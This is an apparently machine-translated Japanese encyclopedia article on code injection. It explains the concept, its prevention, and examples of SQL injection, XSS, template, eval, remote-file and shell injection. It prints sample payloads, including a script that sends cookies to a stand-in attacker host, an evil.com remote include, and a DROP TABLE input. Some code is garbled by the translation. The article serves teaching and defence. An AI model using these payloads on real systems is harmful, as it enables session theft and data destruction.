コード インジェクションは、脆弱なコンピュータ プログラムまたはシステム プロセスがユーザー入力などの外部データを正しく処理できず、プログラムがデータを実行すべきコマンドと誤って解釈する、コンピュータ セキュリティ エクスプロイトの一種です。この方法を使用する攻撃者は、プログラムの実行中にコードを「挿入」します。コード インジェクションの脆弱性を悪用すると、データ漏洩、制限されたコンピュータ システムや重要なコンピュータ システムへのアクセス、マルウェアの拡散につながる可能性があります。
コードインジェクションの脆弱性は、アプリケーションが信頼できないデータをインタープリタに送信し、インタープリタが挿入されたテキストをコードとして実行するときに発生します。インジェクションの欠陥は、構造化照会言語 ( SQL ) データベース、拡張マークアップ言語 ( XML ) パーサー、オペレーティングシステムコマンド、簡易メール転送プロトコル ( SMTP ) ヘッダー、その他のプログラム引数などのサービスでよく見られます。インジェクションの欠陥は、テストよりもソースコードを調べる方が簡単に発見できます。 [1] 静的分析とファジングは、インジェクションの欠陥を見つけるのに役立ちます。[2]
コード インジェクションの脆弱性にはさまざまな種類がありますが、そのほとんどは解釈エラーです。つまり、無害なユーザー入力をコードとして扱ったり、入力とシステム コマンドを区別できなかったりします。解釈エラーの例は、コンピューター サイエンス以外にも多数存在します。たとえば、コメディ ルーチン「Who's on First?」などです。コード インジェクションは、次のようなさまざまな目的で悪意を持って使用される可能性があります。
- SQL インジェクションによってデータベースの値が任意に変更されます。その影響は、Web サイトの改ざんから機密データの重大な侵害まで多岐にわたります。詳細については、「任意のコード実行」を参照してください。
- サーバー スクリプト コード ( PHPなど) を挿入して、サーバー上でマルウェアをインストールしたり、悪意のあるコードを実行したりします。
- バイナリ ファイルのシェル インジェクションの脆弱性を悪用してUNIX上のスーパーユーザー権限に権限を昇格するか、 Windows 内のサービスを悪用してMicrosoft Windows上のローカル システム権限に権限を昇格します。
- ハイパーテキストマークアップ言語 ( HTML ) またはクロスサイトスクリプティング ( XSS ) インジェクションを使用して Web ユーザーを攻撃します。
モノのインターネットを標的としたコードインジェクションは、データ侵害やサービスの中断などの深刻な結果につながる可能性もあります。[3]
コードインジェクションの脆弱性は、米国国立標準技術研究所(NIST)によって国家脆弱性データベース(NVD )にCWE-94として記録されています。コードインジェクションは、記録されたすべての脆弱性の割合として2008年に5.66%でピークに達しました。[4]
良性および意図しない使用
コードインジェクションは善意で行われる場合もあります。例えば、コードインジェクションによってプログラムやシステムの動作を変更したり調整したりすると、悪意がなくてもシステムが特定の動作をする可能性があります。[5] [6]コードインジェクションは、例えば次のようなことを行います。
- 検索結果ページの元のデザインには表示されていなかった便利な新しい列を導入します。
- 元の設計のデフォルト機能では公開されていないフィールドを使用して、データをフィルタリング、並べ替え、またはグループ化する新しい方法を提供します。
- オフライン プログラムでオンライン リソースに接続するなどの機能を追加します。
- 関数をオーバーライドして、呼び出しを別の実装にリダイレクトします。これはLinuxのダイナミックリンカーで実行できます。[7]
一部のユーザーは、プログラムに提供した入力が元々システムを開発した人たちによって考慮されていなかったために、気づかずにコード インジェクションを実行する可能性があります。例:
- ユーザーが有効な入力と見なすものには、開発者が特別な意味を持つように予約したトークン文字または文字列 (アンパサンドや引用符など) が含まれている場合があります。
- ユーザーは、あるアプリケーションでは適切に処理されるが、受信側システムには悪影響を与える不正な形式のファイルを入力として送信する場合があります。
コード インジェクションのもう 1 つの無害な使用法は、インジェクションの欠陥を発見して脆弱性を見つけて修正することです。これは侵入テストとして知られています。
コードインジェクションの防止
コード インジェクションの問題を防ぐには、次のような安全な入力および出力処理戦略を使用できます。
- アプリケーションプログラミングインターフェイス(API)を使用すると、適切に使用すれば、すべての入力文字に対して安全です。パラメータ化されたクエリを使用すると、解釈する文字列からユーザーデータを移動できます。さらに、Criteria API [8]や同様のAPIは、コマンド文字列を作成して解釈するという概念から離れています。
- 静的型システムによる言語分離の強制[9 ]
- 既知の適切な値をホワイトリストに登録するなど、入力を検証または「サニタイズ」します。これは、悪意のあるユーザーによる変更を受けやすいクライアント側、またはより安全なサーバー側で実行できます。
- 入力をエンコードするか、危険な文字をエスケープします。たとえば、PHP では、
htmlspecialchars()HTML 内のテキストを安全に出力するために特殊文字をエスケープする関数と、SQLmysqli::real_escape_string()リクエストに含まれるデータを分離する関数を使用することで、SQL インジェクションから保護できます。 - 出力をエンコードします。これを使用して、 Web サイト訪問者に対するXSS攻撃を防ぐことができます。
- HTTPクッキー
HttpOnlyにフラグを使用する。このフラグが設定されている場合、クライアント側スクリプトとクッキーのやり取りは許可されず、特定のXSS攻撃を防ぐことができます。[10] - モジュール シェルのカーネルからの分離。
- SQLインジェクションに関しては、パラメータ化されたクエリ、ストアドプロシージャ、ホワイトリストによる入力検証などのアプローチを使用して、攻撃のリスクを軽減することができます。[11]オブジェクトリレーショナルマッピングを使用すると、ユーザーがSQLクエリを直接操作するのをさらに防ぐことができます。
上記のソリューションは、主にサーバー側アプリケーションへの HTML またはスクリプト コードの Web ベースの挿入に対処します。ただし、権限昇格攻撃につながることが多い、ユーザーが操作するマシンへのユーザー コードの挿入に対処する場合は、他のアプローチを採用する必要があります。マネージド コードとアンマネージド コードの挿入を検出して分離するために使用されるアプローチには、次のものがあります。
- ランタイム イメージハッシュ検証。メモリにロードされた実行可能ファイルの部分的または完全なイメージのハッシュをキャプチャし、それを保存されているハッシュおよび予想されるハッシュと比較します。
- NX ビット: すべてのユーザー データは、実行不可としてマークされた特別なメモリ セクションに保存されます。プロセッサは、メモリのその部分にコードが存在しないことを認識し、そこに見つかったものを実行しません。
- スタック内にランダムに配置された値であるカナリアを使用します。実行時に、関数が返されるときにカナリアがチェックされます。カナリアが変更されている場合、プログラムは実行を停止して終了します。これは、スタック オーバーフロー攻撃が失敗したときに発生します。
- コードポインターマスキング(CPM):(変更される可能性のある)コードポインターをレジスターにロードした後、ユーザーはそのポインターにビットマスクを適用することができます。これにより、ポインターが参照できるアドレスが効果的に制限されます。これはCプログラミング言語で使用されます。[12]
例
SQLインジェクション
SQLインジェクションはSQL構文を利用して、データベースを読み取ったり変更したり、元のクエリの意味を損なったりする悪意のあるコマンドを挿入します。[13]
たとえば、ユーザーがユーザー名とパスワードを入力できる 2 つのテキスト フィールドがある Web ページがあるとします。ページの背後にあるコードは、ユーザー名のリストに対してパスワードをチェックする SQL クエリを生成します。
UserList . UsernameからUserListを選択し、 UserList . Username = 'ユーザー名'かつUserList . Password = 'パスワード'とします。
このクエリが行を返す場合、アクセスは許可されます。ただし、悪意のあるユーザーが有効なユーザー名を入力し、パスワード フィールドに有効なコードを挿入した場合('Password' OR '1'='1')、結果のクエリは次のようになります。
UserList . UsernameからUserListを選択、 UserList . Username = ' Username'かつUserList . Password = 'Password'または'1' = '1'
上記の例では、「Password」は空白または無害な文字列であると想定されています。「'1'='1'」は常に true となり、多くの行が返されるため、アクセスが許可されます。
この手法は、複数のステートメントを実行できるようにしたり、外部プログラムを読み込んで実行できるように改良される可能性があります。
次の形式のクエリを想定します。
SELECT User . UserID FROM User WHERE User . UserID = ' " + UserID + " ' AND User . Pwd = ' " + Password + " '
敵が以下の入力を持っている場合:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
クエリは次のように解析されます。
SELECT User . UserID FROM User WHERE User . UserID = '' ; DROP TABLE User ; --'AND Pwd = ''OR"='
結果のUserテーブルはデータベースから削除されます。これは、;記号が 1 つのコマンドの終了と新しいコマンドの開始を示すためです。 は--コメントの開始を示します。
クロスサイトスクリプティング
コード インジェクションとは、アプリケーションに悪意のあるコードを挿入または導入することです。一部のWeb サーバーにはゲストブックスクリプトがあり、ユーザーからの短いメッセージを受け入れ、通常は次のようなメッセージを受信します。
とても素敵なサイトです!
ただし、悪意のある人物がゲストブックのコード インジェクションの脆弱性を認識し、次のようなメッセージを入力する可能性があります。
素晴らしいサイトですね。利用させていただきます。< script > window . location = "https://some_attacker/evilcgi/cookie.cgi?steal=" + escape ( document . cookie )</ script >
別のユーザーがページを表示すると、挿入されたコードが実行されます。このコードにより、攻撃者は別のユーザーになりすますことができます。ただし、この同じソフトウェア バグが、注意を怠ったユーザーによって誤ってトリガーされ、Web サイトに不正な HTML コードが表示される可能性があります。
HTML およびスクリプト インジェクションは、一般的に「クロスサイト スクリプティング」または「XSS」と呼ばれる人気の高いテーマです。XSS とは、Web スクリプトなどへのユーザー入力が、HTML コードやスクリプトのチェックを受けずに出力 HTML に配置されるインジェクションの欠陥を指します。
これらの問題の多くは、入力データの可能性や特殊なデータの影響についての誤った仮定に関連しています。[14]
サーバー側テンプレートインジェクション
テンプレートエンジンは、動的なデータを表示するために現代のウェブアプリケーションでよく使用されます。しかし、検証されていないユーザーデータを信頼すると、サーバー側のサイドテンプレートインジェクションなどの重大な脆弱性[15]につながることがよくあります。この脆弱性はクロスサイトスクリプティングに似ていますが、テンプレートインジェクションを利用すると、訪問者のブラウザではなくウェブサーバー上でコードを実行できます。これは、ユーザー入力とテンプレートを使用してウェブページをレンダリングすることが多いウェブアプリケーションの一般的なワークフローを悪用します。以下の例はその概念を示しています。ここでは、レンダリングプロセス中にテンプレートが{{visitor_name}}データに置き換えられています。
こんにちは {{visitor_name}}
攻撃者はこのワークフローを使用して、悪意のある を提供することでレンダリング パイプラインにコードを挿入できますvisitor_name。Web アプリケーションの実装によっては、{{7*'7'}}レンダラーが に解決できる を挿入することを選択できますHello 7777777。実際の Web サーバーは悪意のあるコードを評価しているため、リモート コード実行に対して脆弱になる可能性があることに注意してください。
動的評価の脆弱性
インジェクション脆弱性は、攻撃者が関数呼び出しに供給される入力文字列の全部または一部を制御できる場合に発生します。[16]eval()eval()
$myvar = 'somevalue' ;
$x = $_GET [ 'arg' ];
eval ( '$myvar = ' . $x . ';' );
" " の引数はPHPevalとして処理されるため、追加のコマンドを追加できます。たとえば、"arg" が " " に設定されている場合、サーバー上のプログラム (この場合は " ") を実行する追加のコードが実行されます。
10; system('/bin/echo uh-oh')/bin/echo
オブジェクトインジェクション
PHPではオブジェクト全体のシリアル化とデシリアライズが可能です。デシリアライズ関数に信頼できない入力が許可されると、プログラム内の既存のクラスを上書きして悪意のある攻撃を実行する可能性があります。[17] Joomlaに対するこのような攻撃は2013年に発見されました。[18]
リモートファイルインジェクション
次のPHP プログラム(リクエストによって指定されたファイルを含む) を検討してください。
<?php
$color = 'blue' ;
if ( isset ( $_GET [ 'color' ]))
$color = $_GET [ 'color' ];
require ( $color . '.php' );
この例では色が提供されることを想定していますが、攻撃者が色を提供してCOLOR=http://evil.com/exploitPHP にリモート ファイルをロードさせる可能性があります。
フォーマット指定子の挿入
書式文字列のバグは、プログラマーがユーザー提供のデータを含む文字列を印刷しようとするときに最もよく発生します。プログラマーは、printf(buffer)の代わりに と誤って記述することがあります。printf("%s", buffer)最初のバージョンは、 を書式文字列として解釈しbuffer、そこに含まれる可能性のある書式設定命令を解析します。2 番目のバージョンは、プログラマーの意図どおり、文字列を画面に印刷するだけです。パスワードを保持するローカル変数 char配列を持つ次の短いCプログラムを検討してください。プログラムはユーザーに整数と文字列を要求し、ユーザー提供の文字列をエコー出力します。 password
char user_input [ 100 ]; int int_in ; char password [ 10 ] = "Password1" ;
printf ( "整数を入力してください\n " );
scanf ( "%d" , & int_in ); printf ( "文字列を入力してください\n " ); fgets ( user_input , sizeof ( user_input ), stdin );
printf ( user_input ); // 安全なバージョンは: printf("%s", user_input); printf ( " \n " );
0 を返します。
ユーザー入力が などの書式指定子のリストで満たされている場合、%s%s%s%s%s%s%s%sはスタックprintf()から読み取りを開始します。最終的に、書式指定子の 1 つがスタック上にある のアドレスにアクセスし、画面に出力します。
%spasswordPassword1
シェルインジェクション
シェルインジェクション(またはコマンドインジェクション[19])はUNIXシェルにちなんで名付けられていますが、ソフトウェアがプログラム的にコマンドラインを実行できるほとんどのシステムに適用されます。以下は脆弱なtcshスクリプトの例です。
# !/bin/tcsh
# 引数をチェックして、引数が1の場合に一致する出力を出す
if ( $1 == 1 ) echo一致する
上記が実行可能ファイルに保存されている場合./check、シェルコマンドは引数を定数と比較するのではなく、./check " 1 ) evil"挿入されたシェルコマンドを実行しようとしますevil。ここで、攻撃を受けているコードは、パラメータをチェックしようとしているコードであり、攻撃から身を守るためにパラメータを検証しようとしていた可能性のあるコードそのものです。[20]
シェル コマンドを作成して実行するために使用できる関数はすべて、シェル インジェクション攻撃を開始するための潜在的な手段となります。これらの関数には、system()、StartProcess()、System.Diagnostics.Process.Start() などがあります。
Web ブラウザと Webサーバーのやり取りなどのクライアント サーバーシステムは、シェル インジェクションに対して潜在的に脆弱です。Web サーバー上で実行して、ユーザーが送信した単語を別の単語に置き換えるために呼び出される外部プログラムを実行できる次の短い PHP プログラムを検討してくださいfunnytext。
<?php
passthru ( "/bin/funnytext " . $_GET [ 'USER_INPUT' ]);
上記のプログラムの関数passthruは、Web サーバーによって実行されるシェル コマンドを作成します。作成されるコマンドの一部はWeb ブラウザーによって提供されるURLから取得されるため、 URL は悪意のあるシェル コマンドを挿入できます。さまざまなシェル機能の構文を悪用することで、このプログラムにコードを挿入する方法はいくつかあります (このリストは網羅的ではありません)。[21]
一部の言語では、シェル コマンドの構築に使用される文字列を適切にエスケープまたは引用符で囲む関数が提供されています。
- PHP:
escapeshellarg()およびescapeshellcmd() - パイソン:
shlex.quote()
しかし、それでもプログラマーには、これらの関数について知って学習し、シェル コマンドを使用するたびにそれらを使用することを覚えておくという負担がかかります。これらの関数を使用するだけでなく、ユーザー入力を検証またはサニタイズすることも推奨されます。
より安全な代替策は、シェル経由ではなく外部プログラムを直接実行するAPI を使用することです。これにより、シェル インジェクションの可能性が防止されます。ただし、これらの API は、シェルのさまざまな便利な機能をサポートしていなかったり、簡潔なシェル構文に比べて扱いにくく冗長になる傾向があります。
参照
参考文献
- ^ 「Web アプリケーション セキュリティ脆弱性トップ 10」。ペンシルバニア大学Penn Computing。2018年 2 月 24 日時点のオリジナルよりアーカイブ。2016年12 月 10 日閲覧。
- ^ 「OWASP Top 10 2013 A1: Injection Flaws」。OWASP。2016年1月28日時点のオリジナルよりアーカイブ。 2013年12月19日閲覧。
- ^ Noman, Haitham Ameen; Abu-Sharkh, Osama MF (2023年1月). 「ワイヤレスベースのモノのインターネット(IoT)におけるコードインジェクション攻撃:包括的なレビューと実用的な実装」.センサー. 23 (13): 6067. Bibcode :2023Senso..23.6067N. doi : 10.3390/s23136067 . ISSN 1424-8220. PMC 10346793. PMID 37447915 .
- ^ 「NVD - 統計検索」。web.nvd.nist.gov 。 2023年12月15日時点のオリジナルよりアーカイブ。 2016年12月9日閲覧。
- ^ Srinivasan, Raghunathan. 「より効果的なウイルス検出に向けて」(PDF)。アリゾナ州立大学。2010年 7 月 29 日のオリジナル(PDF)からアーカイブ。2010年9 月 18 日閲覧。
コード インジェクションの善意の使用は、ユーザーがシステム要件を満たすためにプログラムの動作を変更するときに発生します。
- ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010)。「ボットプロセスの症状ベースの検出」。コンピュータネットワークセキュリティ。コンピュータサイエンスの講義ノート。第6258巻。ベルリン、ハイデルベルク: Springer。pp . 229–241。CiteSeerX 10.1.1.185.2152。doi : 10.1007 / 978-3-642-14706-7_18。ISBN 978-3-642-14705-0. ISSN 0302-9743.
- ^ 「ダイナミックリンカートリック:LD_PRELOADを使用してチート、機能の挿入、プログラムの調査を行う」Rafał Cieślakのブログ。2013年4月2日。2021年12月25日時点のオリジナルよりアーカイブ。 2016年12月10日閲覧。
- ^ 「Java EE 6 チュートリアル: 第 35 章 Criteria API を使用したクエリの作成」。Oracle。2013 年 11 月 11 日時点のオリジナルよりアーカイブ。2013年12 月 19 日閲覧。
- ^ Moertel, Tom (2006 年 10 月 18 日)。「「文字列問題」に対する型ベースのソリューション: XSS と SQL インジェクションの穴に適切な終止符か?」Tom Moertel のブログ。2013 年 8 月 6 日時点のオリジナルよりアーカイブ。2018年10 月 21 日閲覧。
- ^ “HttpOnly”. OWASP . 2014年11月12日. 2008年12月26日時点のオリジナルよりアーカイブ。 2016年12月10日閲覧。
- ^ 「SQL インジェクション防止チートシート」。OWASP。2012年 1 月 20 日時点のオリジナルよりアーカイブ。2016 年12 月 10 日閲覧。
- ^ Philippaerts, Pieter; et al. (2013年6月1日). 「CPM: コードポインターをマスキングしてコードインジェクション攻撃を防ぐ」(PDF) . ACM Transactions on Information and System Security . 16 (1): 1–27. doi :10.1145/2487222.2487223. ISSN 1094-9224. S2CID 10947780. 2021年2月24日時点のオリジナルよりアーカイブ(PDF) . 2018年10月21日閲覧。
- ^ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (2021年3月12日). 「SQLインジェクション検出のための抽象構文木上の長期短期記憶」. IETソフトウェア. 15 (2): 188–197. doi :10.1049/sfw2.12018. ISSN 1751-8806. S2CID 233582569.
- ^ Hope, Brian; Hope, Paco; Walther, Ben (2009 年 5 月 15 日)。Webセキュリティ テスト クックブック。カリフォルニア州セバストポル: O'Reilly Media。p . 254。ISBN 978-0-596-51483-9. OCLC 297573828.
- ^ 「Server-Side Template Injection」. PortSwigger Research . 2015年8月5日. 2022年5月22日時点のオリジナルよりアーカイブ。 2022年5月22日閲覧。
- ^ Christey, Steven M. (2006 年 5 月 3 日). 「PHP アプリケーションにおける動的評価の脆弱性」。Full Disclosure (メーリング リスト)。2009 年 11 月 13 日時点のオリジナルよりアーカイブ。2018 年10 月 21 日閲覧。
- ^ 「Unserialize 関数の警告」。PHP.net。2015 年 5 月 9 日時点のオリジナルよりアーカイブ。2014 年6 月 6 日閲覧。
- ^ 「Joomla PHP オブジェクトインジェクション脆弱性の分析」。2013 年 3 月 2 日時点のオリジナルよりアーカイブ。2014年6 月 6 日閲覧。
- ^ 「コマンドインジェクション」。OWASP。2013年12月20日時点のオリジナルよりアーカイブ。 2013年12月19日閲覧。
- ^ Douglas W. Jones、CS:3620 ノート、講義 4—シェル スクリプト。2024 年 9 月 24 日にWayback Machineにアーカイブ、2018 年春。
- ^ 「コマンドインジェクション - Black Hat ライブラリ」。2015 年 2 月 27 日時点のオリジナルよりアーカイブ。2015 年2 月 27 日閲覧。
